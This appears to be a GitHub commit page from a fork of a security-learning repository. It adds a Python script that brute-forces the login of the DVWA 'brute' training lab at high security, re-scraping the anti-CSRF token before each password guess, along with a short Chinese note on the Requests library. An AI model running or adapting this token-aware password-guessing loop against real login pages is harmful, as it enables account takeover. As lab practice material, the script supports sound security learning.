forked from ffffffff0x/1earn
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
154 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
import requests, re | ||
from bs4 import BeautifulSoup | ||
|
||
requrl='http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/' | ||
header={ | ||
'Host': '<改成你自己机器IP!!!>', | ||
'Cache-Control': 'max-age=0', | ||
'If-None-Match': "307-52156c6a290c0", | ||
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', | ||
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', | ||
'Accept': '*/*', | ||
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php', | ||
'Accept-Encoding': 'gzip, deflate, sdch', | ||
'Accept-Language': 'zh-CN,zh;q=0.8', | ||
'Cookie': 'security=high; PHPSESSID=vlalfd2e2rbtptnd8pqqn646g4' | ||
} | ||
|
||
def get_token(requrl,header): | ||
req = requests.get(url=requrl,headers=header) | ||
page = req.text | ||
soup = BeautifulSoup(page,"html.parser") | ||
value = soup.select("input[name=user_token]") | ||
|
||
key=str(value) | ||
p1 = r"(?<=value=\").+?(?=\")" | ||
pattern1 = re.compile(p1) | ||
matcher1 = re.search(pattern1,key) | ||
|
||
user_token= matcher1.group(0) | ||
a=str(user_token) | ||
print (req.status_code,len(page)) | ||
return a | ||
|
||
user_token = get_token(requrl,header) | ||
i=0 | ||
|
||
for key in open("password.txt"): | ||
|
||
requrl = "http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/"+"?username=admin&password="+key.strip()+"&Login=Login&user_token="+user_token | ||
|
||
i = i+1 | ||
print (i,'admin',key.strip(), end=" " ) | ||
user_token = get_token(requrl,header) | ||
if (i == 100): | ||
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
# Requests 小记 | ||
|
||
- [Requests: 让 HTTP 服务人类¶](https://2.python-requests.org//zh_CN/latest/) | ||
|
||
`Requests 支持 Python 2.6—2.7以及3.3—3.7,而且能在 PyPy 下完美运行。` | ||
|
||
```python | ||
>>> import requests | ||
>>> r = requests.get('https://api.github.com/user', auth=('user', 'pass')) | ||
>>> r.status_code | ||
200 | ||
|
||
>>> r.headers['content-type'] | ||
'application/json; charset=utf8' | ||
|
||
>>> r.encoding | ||
'utf-8' | ||
|
||
>>> r.text | ||
u'{"type":"User"...' | ||
|
||
>>> r.json() | ||
{u'private_gists': 419, u'total_private_repos': 77, ...} | ||
``` | ||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.